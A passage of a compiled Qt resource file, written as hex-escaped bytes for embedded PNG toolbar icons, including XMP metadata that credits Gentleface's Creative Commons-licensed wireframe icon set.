\x06\x8a\xa2\xa2\xf7\xdc\x05\xec\x9a\xd7\x71\xfb\x00\xc3\x09\xcc\ \xff\xbe\x11\x13\x43\x65\xb0\xe7\xa6\x97\x59\x1f\xda\xcd\x0c\x1a\ \xde\x23\xc0\x13\xc1\x2c\x00\x33\x88\xc6\xb0\xab\xb9\xf3\x7f\x01\ \x3c\xd9\xda\x88\xea\xbb\xca\xd8\x0f\xde\x0c\x6c\x72\xd7\x0f\xec\ \x5d\xf8\xed\x5a\x39\x73\xd1\x68\xa4\xaf\x5a\x0e\x80\x23\x9e\x8e\ \xd8\x6d\x39\xcf\x59\xfd\x8c\x4a\x97\x45\xec\xa5\xaf\x88\xa4\xd8\ \xc1\x51\x31\x69\x45\xcd\xde\xa9\x73\x4b\x67\x55\x4c\xd4\x5c\x26\ \x90\x3e\x23\x66\x82\x75\xcc\x64\xaf\x4f\xfe\xcb\xa0\x70\x04\x15\ \x22\x61\xde\xe0\x50\x64\x67\x15\x47\x28\x74\x0e\xb7\x22\xcd\xcf\ \x57\xd2\x4e\xb1\x30\xd0\x97\xc1\x99\xd6\x78\x9b\x43\xf8\x49\xcb\ \x6b\xf6\xfa\x4a\xd5\x59\x82\x75\x13\xf6\x45\xa0\xe4\xc4\xc4\xb3\ \xdc\x6f\xdf\xf7\x22\x4f\x67\xee\xfd\xeb\xde\x5f\x02\x79\x97\x14\ \x5c\x8e\xca\x34\x83\x1c\x34\xda\x7a\x37\x1d\x9f\xfd\x0f\x57\x46\ \x3e\x1d\x98\x54\x3d\xdf\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\ \x60\x82\ \x00\x00\x06\x16\ \x89\ \x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\ \x00\x00\x18\x00\x00\x00\x18\x08\x06\x00\x00\x00\xe0\x77\x3d\xf8\ \x00\x00\x05\xdd\x49\x44\x41\x54\x78\xda\x85\x56\x5b\x6c\x14\x55\ \x18\xfe\xce\xdc\x76\x67\xf6\x46\xbb\xb5\x95\x4b\x5b\x6a\x81\xb4\ \x60\xa4\xad\x08\x14\xa2\x68\x4b\x4a\x34\xfa\xa0\x26\x58\x4d\x34\ \x46\x63\x50\xb7\x68\x4c\x4c\x34\xbe\x9a\x98\xa8\xf1\xa9\x5d\x02\ \x26\x3e\xa8\x89\x54\x12\xd4\x44\x7c\xa0\x01\x8c\x60\x41\x41\x5b\ \x68\x14\xe8\x25\x5d\x7a\x83\xa5\xa5\x85\xed\x5e\x66\x76\xe7\x72\ \xfc\x67\xcb\xd6\x96\x8b\x9e\xcd\x4c\x26\xe7\xf2\x7f\xe7\xfb\xfe\ \xef\xfc\x67\x19\xfe\xa3\xa5\xb4\x50\x93\x63\xdb\x3b\x0d\xd3\x6e\ \x31\x1c\xab\x0a\x92\x92\xef\xcf\x59\x59\x28\x82\x18\x0b\x49\x4a\ \x97\x22\x09\x07\xd4\x4c\xe2\xd8\xdd\x62\xb0\x3b\x75\x26\xb5\x50\ \xbd\x65\x5a\xdd\x59\x51\x56\x9d\xea\x4a\xf8\xb6\x6f\x81\xb7\xa6\ \x02\x70\x6c\x38\x34\xce\x99\x80\x4c\x7f\x0c\x23\x87\xbb\x81\xe1\ \x11\x94\x39\x8e\x5e\xac\x28\x5b\xb5\x4c\xa2\xf7\x7f\x01\x12\x6a\ \xb0\x23\x67\xd9\x11\xf1\xa1\x0d\x28\x7a\x67\x27\xe0\xf7\xd3\x96\ \x0d\xa2\x93\x5e\x3c\xd1\xef\x03\x3c\x5e\x60\x36\x8d\x9e\x4f\xbf\ \x44\xf6\x4c\x2f\x6a\xbc\xde\x68\xb1\x31\xdb\x76\x57\x80\xeb\x9e\ \x60\xa7\x23\x8b\xcf\x05\xdf\x7d\x05\xd2\xa6\x75\xc0\xe5\x09\x38\ \xd7\xae\x82\x91\x24\x10\x45\x40\xb8\x39\xdd\xe1\x80\x6d\x83\x4b\ \x1e\x08\x25\x65\xc0\xb2\xe5\x98\xfe\xf5\x1c\x4e\x7f\xfc\x39\x36\ \x4b\xd2\xb7\xc5\x46\xb2\xf5\x36\x80\x6b\xde\x60\x87\x28\x89\x91\ \xc0\x7b\x6f\x40\xac\x0e\xc3\x1e\xba\x40\x81\x48\x90\x9c\x09\xe3\ \x44\x3f\xcc\xfe\x31\xf0\xac\x79\xca\x0d\xce\x3c\x72\xa3\xbc\xae\ \x02\xea\x63\xf7\x03\xb2\x04\x4e\xf3\xc4\xea\xb5\x98\x19\x98\xc0\ \xaf\x1f\x46\xf1\xa8\xec\x89\x86\x8c\x44\xdb\x3c\x40\x5c\x0d\xd6\ \xcb\x96\xd3\x13\x7a\xff\x75\x88\x2b\x43\xb0\x07\x07\xe6\x76\x4c\ \x0f\x4f\xa4\x30\xd3\x7e\x28\x57\xe6\xa4\x3d\x0b\xd9\x4e\x8a\xbe\ \x16\x2e\x08\x1f\x69\x9b\x6b\x1e\xf4\x3d\xde\x00\x27\xa5\x43\x5c\ \xbd\x06\x13\xbd\x23\x88\xb5\x7f\x85\x5a\xaf\xa7\xa1\x44\x9f\xed\ \xcd\x03\x4c\xc8\x5a\xa6\x64\xf3\x46\x55\x79\xb9\x19\xf6\x05\xda\ \xb9\x28\xcd\xc9\xc1\x1c\xf0\xf1\x31\x98\x43\xe3\x98\xe9\x99\x1a\ \x5b\x61\x24\x2a\x6e\xcd\xd9\x98\xa8\x45\xb4\x8a\xb2\x8e\xa2\x97\ \xb7\x83\xa7\x33\x10\x6a\x6a\x71\xac\xfd\x3b\x54\xf6\x5d\xd4\x57\ \xd9\x19\x8d\x5d\xf2\x06\x9a\xfc\x4c\x3e\x1a\xfe\xec\x2d\xd8\xb1\ \x0b\x60\x02\x05\x97\x04\xc0\xe2\xb0\xfa\xce\x92\x2c\x59\x30\x49\ \x84\x99\xb4\x31\xdd\x7b\x75\xac\xd2\x98\xbd\x0d\xe4\x92\xa4\x45\ \x96\x6c\xac\xe9\x08\x3c\x46\x79\xcb\xe5\xc0\x57\xd6\xe2\xc8\xdb\ \x9f\x60\x9d\x24\x36\xb3\x41\x59\xdb\xbb\xbc\x6e\xfd\x2e\xcf\x8e\ \x5a\x70\x5d\x07\x4c\x07\xd3\x87\xce\x20\xbc\xa1\x0c\x56\x7c\x8a\ \x98\x08\x73\xc9\x22\x46\x56\xca\x42\xbc\x6f\x6a\xac\xfa\x0e\x20\ \x31\x25\xf0\x47\xf9\x9b\x4f\x3e\x08\x57\x59\x4d\xc3\x89\x83\xa7\ \x51\x3e\x34\xbc\x8f\x0d\x0a\xea\x70\xf5\x8b\x4f\x55\x39\x61\x01\ \x4c\x14\x90\xf8\xe5\x3c\xe2\x67\xfa\xa3\xc1\x12\x2d\x52\x76\x7f\ \x98\xac\x4f\x32\xf1\xb9\x6c\xb9\x20\x99\x49\x03\xf1\x81\xeb\x67\ \x6b\xad\x54\xfd\x42\x80\x8b\x92\xd6\x52\xda\xb0\xe6\x70\x68\xdb\ \x5a\x30\x5a\x33\x7a\x39\x8d\x1b\x07\xba\x62\x6c\x80\x79\x79\x75\ \xe4\x69\x3a\x40\x26\x04\x72\xc4\xf0\x57\xc7\xb0\x7a\x7a\x92\xf5\ \xc9\x81\xf6\x92\x32\xad\xad\x78\x65\x00\x8e\xe5\xcc\x07\x12\x44\ \x86\xd4\x55\x1d\x13\x97\x92\x9d\xeb\xad\xe4\xf3\x0b\x41\x06\xc3\ \xa5\xfc\xbe\x97\x9a\xc0\x4d\x1b\x69\x13\x38\xb7\xef\x07\xb0\x7e\ \x4f\x80\xaf\x7a\xfd\x09\x38\x59\x0b\xa2\x47\xc1\xc5\xaf\x8f\x9c\ \x5a\x3b\x33\xb5\xc5\x5d\xd0\x23\xf9\xf6\x97\x57\x04\x5b\x03\xa5\ \x1e\x72\x2c\xd1\xb8\xc9\x44\x20\x26\xa9\xc9\x2c\x46\x47\x93\x9d\ \x0d\x56\x6a\x1e\xe4\x7c\xf1\x3d\x27\x6b\x5e\xdc\xde\x68\x67\x73\ \x90\x3c\x32\x8e\x47\x7f\x04\xeb\x21\x80\xba\xd7\x1e\x87\x45\xbb\ \x64\xb1\x41\x9c\x3f\x3e\x74\x6a\xbd\x9e\xde\x52\x58\xf4\xbb\xa4\ \xed\xaf\x58\x11\x6c\x5d\x52\xa2\x90\x5c\x7c\x11\x93\xd9\xa9\x1c\ \x2e\x5d\x4e\x76\x6e\x32\xd3\x79\x90\x73\xaa\xef\xe4\xda\x47\x56\ \x35\xf2\xaa\xd5\x90\xc8\x28\xbf\xef\x21\x80\x6e\x28\x7c\xcb\xee\ \x67\x91\x3d\xdb\x0b\x7e\x23\x81\xc1\x91\x0c\x1e\x98\x4d\x2c\x3a\ \xe1\x27\x25\x75\x7f\xd5\xb2\x40\xeb\x92\x22\x02\xe1\x8b\x99\xc4\ \xaf\xe8\x88\xcf\xe8\x1d\x8d\x66\x66\x77\x5f\x30\xc4\x57\x57\x6a\ \x60\x4b\x42\xf0\xd4\xd5\xe3\x64\xfb\x41\xb0\x9f\x45\x75\x78\xe3\ \xfa\x15\x55\x2c\x99\xa4\x24\x8b\x98\xba\x61\x20\x36\xa3\xef\xd8\ \x96\xcb\x74\x2d\x04\xf9\x45\xd2\x7a\x6b\x96\xfa\xeb\x82\x3e\x79\ \x0e\xe4\x66\x93\x88\xc9\xd0\x44\x0a\xf1\x74\x2e\xba\x2a\xac\x45\ \x4a\x8b\xbc\xe0\x6e\x19\x09\x04\x70\xfa\xdc\x78\x8c\x1d\x53\xd4\ \xbd\x6b\x8a\xd5\x5d\xe1\x00\x0d\xb8\x0b\xc9\x95\xbf\xc5\x12\x7f\ \x36\x99\x99\x0d\xb7\x5a\xf1\x67\x59\x1b\xad\x5f\xee\x2f\xf7\x90\ \x19\x0a\x20\x8c\x98\x88\xc4\x64\x28\x9e\x46\x65\xa9\x06\x81\xbb\ \x7d\x0c\xd3\x49\x03\x03\x33\xfa\x3e\x76\x58\xd6\x9a\x42\x92\x70\ \xb4\x6e\xa9\x1f\x16\x25\x52\xa0\xc1\x2b\xb3\x59\xf4\x27\x8c\xb6\ \x27\x2c\x3d\x7a\x2b\x48\x97\xa2\x8d\x3e\x54\xe6\x2b\xf7\x90\xc6\ \x4e\x81\x88\x2b\x17\xbd\xb8\xfb\xe3\xee\x39\x65\x38\x7b\x25\x85\ \x84\xe5\x34\xe7\xb5\xfe\x5e\xf6\x66\xb6\x16\xf9\x54\xbf\x22\xe4\ \x27\xb8\x3b\xfa\xeb\xba\x81\x51\x23\xdb\xf6\x8c\x95\xbd\x0d\xe4\ \x27\x59\x1d\x6d\x0c\xfb\xca\xbd\x12\xfb\x17\xa4\x90\x7c\x8a\x98\ \xca\x39\xe8\xbe\x9e\xd6\x9f\x36\x0d\xad\x00\x50\x2f\x93\x2b\x9b\ \x4b\xfc\x74\x1e\xe6\xf2\x2b\x11\x93\x58\x2a\x8b\xbf\x75\xe3\x4f\ \xd3\xe1\x1f\xb4\xda\xb9\x45\x39\xe9\x94\x94\x6c\x4b\x71\x50\xf1\ \x08\x0c\xf3\x44\xf2\x4c\x38\x8e\x5e\x4b\xd1\xa9\x42\x03\x01\xf4\ \xce\xbb\xe5\x1b\x41\xe9\xb8\x57\x16\x23\x0f\x07\x7c\xc8\xdd\xd4\ \xd7\x95\xcb\xa5\x1d\xd3\x4d\x8c\x9b\x54\xb6\xb9\x73\xca\xed\x57\ \x99\xd0\xb8\x4c\x96\x51\xe1\x95\xa8\x32\xb0\x82\xa9\xa0\xd0\xfc\ \x13\xc9\x34\xe2\xa6\x1d\x7d\xc1\xc9\xfd\x5b\xae\x0b\xed\x0b\x26\ \x77\x56\xd2\x85\xb3\xd5\xa7\xe5\x99\xb8\x89\x64\x98\x4b\x9a\xb0\ \x60\xb2\x1b\x30\x7f\x75\x72\x9e\xff\x16\xf2\xe3\x1c\xdd\x54\x4d\ \x47\x4c\xfb\xdb\x57\xb9\x79\xfb\x85\x53\x68\xfb\x98\xd4\xe1\x65\ \x2c\xd2\xac\x6a\x28\x25\xdb\x52\x51\xa5\x60\x1c\xb7\x48\x9d\x5f\ \xe8\x26\x96\xd2\x80\x49\xb2\xe5\x51\x3d\x43\x0c\x79\x74\x17\xb7\ \xee\x7e\x65\x16\xda\x1e\x26\xd4\xe7\x68\x43\x2b\x04\x49\x5d\x47\ \x52\x2c\x95\x24\xf8\x98\x80\x05\xa6\x41\x9a\x3b\xb8\x62\x59\xf8\ \x9b\xa4\x1b\x77\x2c\x5d\x61\xd8\xfa\x26\x77\xfe\xff\xd2\x5f\xd8\ \xda\x21\x34\xd9\xc0\x4e\x92\xa3\x85\x9e\xaa\x10\xe6\x4a\x77\x82\ \x38\xd1\x57\x8c\x9e\x2e\xaa\xce\x07\x76\xc3\xb9\xeb\xdf\x96\x7f\ \x00\x4e\x90\x89\xf8\xea\xce\x85\xa5\x00\x00\x00\x00\x49\x45\x4e\ \x44\xae\x42\x60\x82\ \x00\x00\x0f\x9d\ \x89\ \x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\ \x00\x00\x30\x00\x00\x00\x30\x08\x06\x00\x00\x00\x57\x02\xf9\x87\ \x00\x00\x0a\x06\x69\x54\x58\x74\x58\x4d\x4c\x3a\x63\x6f\x6d\x2e\ \x61\x64\x6f\x62\x65\x2e\x78\x6d\x70\x00\x00\x00\x00\x00\x3c\x3f\ \x78\x70\x61\x63\x6b\x65\x74\x20\x62\x65\x67\x69\x6e\x3d\x22\xef\ \xbb\xbf\x22\x20\x69\x64\x3d\x22\x57\x35\x4d\x30\x4d\x70\x43\x65\ \x68\x69\x48\x7a\x72\x65\x53\x7a\x4e\x54\x63\x7a\x6b\x63\x39\x64\ \x22\x3f\x3e\x0a\x3c\x78\x3a\x78\x6d\x70\x6d\x65\x74\x61\x20\x78\ \x6d\x6c\x6e\x73\x3a\x78\x3d\x22\x61\x64\x6f\x62\x65\x3a\x6e\x73\ \x3a\x6d\x65\x74\x61\x2f\x22\x20\x78\x3a\x78\x6d\x70\x74\x6b\x3d\ \x22\x41\x64\x6f\x62\x65\x20\x58\x4d\x50\x20\x43\x6f\x72\x65\x20\ \x35\x2e\x30\x2d\x63\x30\x36\x30\x20\x36\x31\x2e\x31\x33\x34\x37\ \x37\x37\x2c\x20\x32\x30\x31\x30\x2f\x30\x32\x2f\x31\x32\x2d\x31\ \x37\x3a\x33\x32\x3a\x30\x30\x20\x20\x20\x20\x20\x20\x20\x20\x22\ \x3e\x0a\x20\x3c\x72\x64\x66\x3a\x52\x44\x46\x20\x78\x6d\x6c\x6e\ \x73\x3a\x72\x64\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\ \x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x31\x39\x39\x39\x2f\x30\x32\ \x2f\x32\x32\x2d\x72\x64\x66\x2d\x73\x79\x6e\x74\x61\x78\x2d\x6e\ \x73\x23\x22\x3e\x0a\x20\x20\x3c\x72\x64\x66\x3a\x44\x65\x73\x63\ \x72\x69\x70\x74\x69\x6f\x6e\x20\x72\x64\x66\x3a\x61\x62\x6f\x75\ \x74\x3d\x22\x22\x0a\x20\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x78\ \x6d\x70\x52\x69\x67\x68\x74\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\ \x2f\x6e\x73\x2e\x61\x64\x6f\x62\x65\x2e\x63\x6f\x6d\x2f\x78\x61\ \x70\x2f\x31\x2e\x30\x2f\x72\x69\x67\x68\x74\x73\x2f\x22\x0a\x20\ \x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x64\x63\x3d\x22\x68\x74\x74\ \x70\x3a\x2f\x2f\x70\x75\x72\x6c\x2e\x6f\x72\x67\x2f\x64\x63\x2f\ \x65\x6c\x65\x6d\x65\x6e\x74\x73\x2f\x31\x2e\x31\x2f\x22\x0a\x20\ \x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x49\x70\x74\x63\x34\x78\x6d\ \x70\x43\x6f\x72\x65\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x69\x70\ \x74\x63\x2e\x6f\x72\x67\x2f\x73\x74\x64\x2f\x49\x70\x74\x63\x34\ \x78\x6d\x70\x43\x6f\x72\x65\x2f\x31\x2e\x30\x2f\x78\x6d\x6c\x6e\ \x73\x2f\x22\x0a\x20\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x70\x6c\ \x75\x73\x5f\x31\x5f\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x73\ \x2e\x75\x73\x65\x70\x6c\x75\x73\x2e\x6f\x72\x67\x2f\x6c\x64\x66\ \x2f\x78\x6d\x70\x2f\x31\x2e\x30\x2f\x22\x0a\x20\x20\x20\x20\x78\ \x6d\x6c\x6e\x73\x3a\x78\x6d\x70\x3d\x22\x68\x74\x74\x70\x3a\x2f\ \x2f\x6e\x73\x2e\x61\x64\x6f\x62\x65\x2e\x63\x6f\x6d\x2f\x78\x61\ \x70\x2f\x31\x2e\x30\x2f\x22\x0a\x20\x20\x20\x20\x78\x6d\x6c\x6e\ \x73\x3a\x78\x6d\x70\x4d\x4d\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\ \x6e\x73\x2e\x61\x64\x6f\x62\x65\x2e\x63\x6f\x6d\x2f\x78\x61\x70\ \x2f\x31\x2e\x30\x2f\x6d\x6d\x2f\x22\x0a\x20\x20\x20\x20\x78\x6d\ \x6c\x6e\x73\x3a\x73\x74\x45\x76\x74\x3d\x22\x68\x74\x74\x70\x3a\ \x2f\x2f\x6e\x73\x2e\x61\x64\x6f\x62\x65\x2e\x63\x6f\x6d\x2f\x78\ \x61\x70\x2f\x31\x2e\x30\x2f\x73\x54\x79\x70\x65\x2f\x52\x65\x73\ \x6f\x75\x72\x63\x65\x45\x76\x65\x6e\x74\x23\x22\x0a\x20\x20\x20\ \x78\x6d\x70\x52\x69\x67\x68\x74\x73\x3a\x4d\x61\x72\x6b\x65\x64\ \x3d\x22\x54\x72\x75\x65\x22\x0a\x20\x20\x20\x78\x6d\x70\x3a\x4d\ \x65\x74\x61\x64\x61\x74\x61\x44\x61\x74\x65\x3d\x22\x32\x30\x31\ \x31\x2d\x30\x31\x2d\x32\x35\x54\x31\x33\x3a\x35\x35\x3a\x30\x37\ \x2b\x30\x31\x3a\x30\x30\x22\x0a\x20\x20\x20\x78\x6d\x70\x4d\x4d\ \x3a\x49\x6e\x73\x74\x61\x6e\x63\x65\x49\x44\x3d\x22\x78\x6d\x70\ \x2e\x69\x69\x64\x3a\x42\x34\x39\x43\x32\x46\x35\x36\x38\x32\x32\ \x38\x45\x30\x31\x31\x39\x38\x39\x43\x43\x30\x41\x31\x41\x44\x30\ \x32\x42\x35\x43\x32\x22\x0a\x20\x20\x20\x78\x6d\x70\x4d\x4d\x3a\ \x44\x6f\x63\x75\x6d\x65\x6e\x74\x49\x44\x3d\x22\x78\x6d\x70\x2e\ \x64\x69\x64\x3a\x42\x34\x39\x43\x32\x46\x35\x36\x38\x32\x32\x38\ \x45\x30\x31\x31\x39\x38\x39\x43\x43\x30\x41\x31\x41\x44\x30\x32\ \x42\x35\x43\x32\x22\x0a\x20\x20\x20\x78\x6d\x70\x4d\x4d\x3a\x4f\ \x72\x69\x67\x69\x6e\x61\x6c\x44\x6f\x63\x75\x6d\x65\x6e\x74\x49\ \x44\x3d\x22\x78\x6d\x70\x2e\x64\x69\x64\x3a\x42\x34\x39\x43\x32\ \x46\x35\x36\x38\x32\x32\x38\x45\x30\x31\x31\x39\x38\x39\x43\x43\ \x30\x41\x31\x41\x44\x30\x32\x42\x35\x43\x32\x22\x3e\x0a\x20\x20\ \x20\x3c\x78\x6d\x70\x52\x69\x67\x68\x74\x73\x3a\x55\x73\x61\x67\ \x65\x54\x65\x72\x6d\x73\x3e\x0a\x20\x20\x20\x20\x3c\x72\x64\x66\ \x3a\x41\x6c\x74\x3e\x0a\x20\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\ \x6c\x69\x20\x78\x6d\x6c\x3a\x6c\x61\x6e\x67\x3d\x22\x78\x2d\x64\ \x65\x66\x61\x75\x6c\x74\x22\x3e\x43\x72\x65\x61\x74\x69\x76\x65\ \x20\x43\x6f\x6d\x6d\x6f\x6e\x73\x20\x41\x74\x74\x72\x69\x62\x75\ \x74\x69\x6f\x6e\x2d\x4e\x6f\x6e\x43\x6f\x6d\x6d\x65\x72\x63\x69\ \x61\x6c\x20\x6c\x69\x63\x65\x6e\x73\x65\x3c\x2f\x72\x64\x66\x3a\ \x6c\x69\x3e\x0a\x20\x20\x20\x20\x3c\x2f\x72\x64\x66\x3a\x41\x6c\ \x74\x3e\x0a\x20\x20\x20\x3c\x2f\x78\x6d\x70\x52\x69\x67\x68\x74\ \x73\x3a\x55\x73\x61\x67\x65\x54\x65\x72\x6d\x73\x3e\x0a\x20\x20\ \x20\x3c\x64\x63\x3a\x63\x72\x65\x61\x74\x6f\x72\x3e\x0a\x20\x20\ \x20\x20\x3c\x72\x64\x66\x3a\x53\x65\x71\x3e\x0a\x20\x20\x20\x20\ \x20\x3c\x72\x64\x66\x3a\x6c\x69\x3e\x47\x65\x6e\x74\x6c\x65\x66\ \x61\x63\x65\x20\x63\x75\x73\x74\x6f\x6d\x20\x74\x6f\x6f\x6c\x62\ \x61\x72\x20\x69\x63\x6f\x6e\x73\x20\x64\x65\x73\x69\x67\x6e\x3c\ \x2f\x72\x64\x66\x3a\x6c\x69\x3e\x0a\x20\x20\x20\x20\x3c\x2f\x72\ \x64\x66\x3a\x53\x65\x71\x3e\x0a\x20\x20\x20\x3c\x2f\x64\x63\x3a\ \x63\x72\x65\x61\x74\x6f\x72\x3e\x0a\x20\x20\x20\x3c\x64\x63\x3a\ \x64\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x3e\x0a\x20\x20\x20\ \x20\x3c\x72\x64\x66\x3a\x41\x6c\x74\x3e\x0a\x20\x20\x20\x20\x20\ \x3c\x72\x64\x66\x3a\x6c\x69\x20\x78\x6d\x6c\x3a\x6c\x61\x6e\x67\ \x3d\x22\x78\x2d\x64\x65\x66\x61\x75\x6c\x74\x22\x3e\x57\x69\x72\ \x65\x66\x72\x61\x6d\x65\x20\x6d\x6f\x6e\x6f\x20\x74\x6f\x6f\x6c\ \x62\x61\x72\x20\x69\x63\x6f\x6e\x73\x3c\x2f\x72\x64\x66\x3a\x6c\ \x69\x3e\x0a\x20\x20\x20\x20\x3c\x2f\x72\x64\x66\x3a\x41\x6c\x74\ \x3e\x0a\x20\x20\x20\x3c\x2f\x64\x63\x3a\x64\x65\x73\x63\x72\x69\ \x70\x74\x69\x6f\x6e\x3e\x0a\x20\x20\x20\x3c\x64\x63\x3a\x73\x75\ \x62\x6a\x65\x63\x74\x3e\x0a\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\ \x42\x61\x67\x3e\x0a\x20\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x6c\ \x69\x3e\x63\x75\x73\x74\x6f\x6d\x20\x69\x63\x6f\x6e\x20\x64\x65\ \x73\x69\x67\x6e\x3c\x2f\x72\x64\x66\x3a\x6c\x69\x3e\x0a\x20\x20\ \x20\x20\x20\x3c\x72\x64\x66\x3a\x6c\x69\x3e\x74\x6f\x6f\x6c\x62\ \x61\x72\x20\x69\x63\x6f\x6e\x73\x3c\x2f\x72\x64\x66\x3a\x6c\x69\ \x3e\x0a\x20\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x6c\x69\x3e\x63\ \x75\x73\x74\x6f\x6d\x20\x69\x63\x6f\x6e\x73\x3c\x2f\x72\x64\x66\ \x3a\x6c\x69\x3e\x0a\x20\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x6c\ \x69\x3e\x69\x6e\x74\x65\x72\x66\x61\x63\x65\x20\x64\x65\x73\x69\ \x67\x6e\x3c\x2f\x72\x64\x66\x3a\x6c\x69\x3e\x0a\x20\x20\x20\x20\ \x20\x3c\x72\x64\x66\x3a\x6c\x69\x3e\x75\x69\x20\x64\x65\x73\x69\ \x67\x6e\x3c\x2f\x72\x64\x66\x3a\x6c\x69\x3e\x0a\x20\x20\x20\x20\ \x20\x3c\x72\x64\x66\x3a\x6c\x69\x3e\x67\x75\x69\x20\x64\x65\x73\ \x69\x67\x6e\x3c\x2f\x72\x64\x66\x3a\x6c\x69\x3e\x0a\x20\x20\x20\ \x20\x20\x3c\x72\x64\x66\x3a\x6c\x69\x3e\x74\x61\x73\x6b\x62\x61\ \x72\x20\x69\x63\x6f\x6e\x73\x3c\x2f\x72\x64\x66\x3a\x6c\x69\x3e\ \x0a\x20\x20\x20\x20\x3c\x2f\x72\x64\x66\x3a\x42\x61\x67\x3e\x0a\ \x20\x20\x20\x3c\x2f\x64\x63\x3a\x73\x75\x62\x6a\x65\x63\x74\x3e\ \x0a\x20\x20\x20\x3c\x64\x63\x3a\x72\x69\x67\x68\x74\x73\x3e\x0a\ \x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x41\x6c\x74\x3e\x0a\x20\x20\ \x20\x20\x20\x3c\x72\x64\x66\x3a\x6c\x69\x20\x78\x6d\x6c\x3a\x6c\ \x61\x6e\x67\x3d\x22\x78\x2d\x64\x65\x66\x61\x75\x6c\x74\x22\x3e\ \x43\x72\x65\x61\x74\x69\x76\x65\x20\x43\x6f\x6d\x6d\x6f\x6e\x73\ \x20\x41\x74\x74\x72\x69\x62\x75\x74\x69\x6f\x6e\x2d\x4e\x6f\x6e\ \x43\x6f\x6d\x6d\x65\x72\x63\x69\x61\x6c\x20\x6c\x69\x63\x65\x6e\ \x73\x65\x3c\x2f\x72\x64\x66\x3a\x6c\x69\x3e\x0a\x20\x20\x20\x20\ \x3c\x2f\x72\x64\x66\x3a\x41\x6c\x74\x3e\x0a\x20\x20\x20\x3c\x2f\ \x64\x63\x3a\x72\x69\x67\x68\x74\x73\x3e\x0a\x20\x20\x20\x3c\x49\ \x70\x74\x63\x34\x78\x6d\x70\x43\x6f\x72\x65\x3a\x43\x72\x65\x61\ \x74\x6f\x72\x43\x6f\x6e\x74\x61\x63\x74\x49\x6e\x66\x6f\x0a\x20\ \x20\x20\x20\x49\x70\x74\x63\x34\x78\x6d\x70\x43\x6f\x72\x65\x3a\ \x43\x69\x55\x72\x6c\x57\x6f\x72\x6b\x3d\x22\x68\x74\x74\x70\x3a\ \x2f\x2f\x77\x77\x77\x2e\x67\x65\x6e\x74\x6c\x65\x66\x61\x63\x65\ \x2e\x63\x6f\x6d\x22\x2f\x3e\x0a\x20\x20\x20\x3c\x70\x6c\x75\x73\ \x5f\x31\x5f\x3a\x49\x6d\x61\x67\x65\x43\x72\x65\x61\x74\x6f\x72\ \x3e\x0a\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x53\x65\x71\x3e\x0a\ \x20\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x6c\x69\x0a\x20\x20\x20\ \x20\x20\x20\x70\x6c\x75\x73\x5f\x31\x5f\x3a\x49\x6d\x61\x67\x65\ \x43\x72\x65\x61\x74\x6f\x72\x4e\x61\x6d\x65\x3d\x22\x67\x65\x6e\ \x74\x6c\x65\x66\x61\x63\x65\x2e\x63\x6f\x6d\x22\x2f\x3e\x0a\x20\ \x20\x20\x20\x3c\x2f\x72\x64\x66\x3a\x53\x65\x71\x3e\x0a\x20\x20\ \x20\x3c\x2f\x70\x6c\x75\x73\x5f\x31\x5f\x3a\x49\x6d\x61\x67\x65\ \x43\x72\x65\x61\x74\x6f\x72\x3e\x0a\x20\x20\x20\x3c\x70\x6c\x75\ \x73\x5f\x31\x5f\x3a\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x4f\x77\ \x6e\x65\x72\x3e\x0a\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x53\x65\ \x71\x3e\x0a\x20\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x6c\x69\x0a\ \x20\x20\x20\x20\x20\x20\x70\x6c\x75\x73\x5f\x31\x5f\x3a\x43\x6f\ \x70\x79\x72\x69\x67\x68\x74\x4f\x77\x6e\x65\x72\x4e\x61\x6d\x65\ \x3d\x22\x67\x65\x6e\x74\x6c\x65\x66\x61\x63\x65\x2e\x63\x6f\x6d\ \x22\x2f\x3e\x0a\x20\x20\x20\x20\x3c\x2f\x72\x64\x66\x3a\x53\x65\ \x71\x3e\x0a\x20\x20\x20\x3c\x2f\x70\x6c\x75\x73\x5f\x31\x5f\x3a\ \x43\x6f\x70\x79\x72\x69\x67\x68\x74\x4f\x77\x6e\x65\x72\x3e\x0a\ \x20\x20\x20\x3c\x78\x6d\x70\x4d\x4d\x3a\x48\x69\x73\x74\x6f\x72\ \x79\x3e\x0a\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x53\x65\x71\x3e\ \x0a\x20\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x6c\x69\x0a\x20\x20\ \x20\x20\x20\x20\x73\x74\x45\x76\x74\x3a\x61\x63\x74\x69\x6f\x6e\ \x3d\x22\x73\x61\x76\x65\x64\x22\x0a\x20\x20\x20\x20\x20\x20\x73\ \x74\x45\x76\x74\x3a\x69\x6e\x73\x74\x61\x6e\x63\x65\x49\x44\x3d\ \x22\x78\x6d\x70\x2e\x69\x69\x64\x3a\x42\x34\x39\x43\x32\x46\x35\ \x36\x38\x32\x32\x38\x45\x30\x31\x31\x39\x38\x39\x43\x43\x30\x41\ \x31\x41\x44\x30\x32\x42\x35\x43\x32\x22\x0a\x20\x20\x20\x20\x20\ 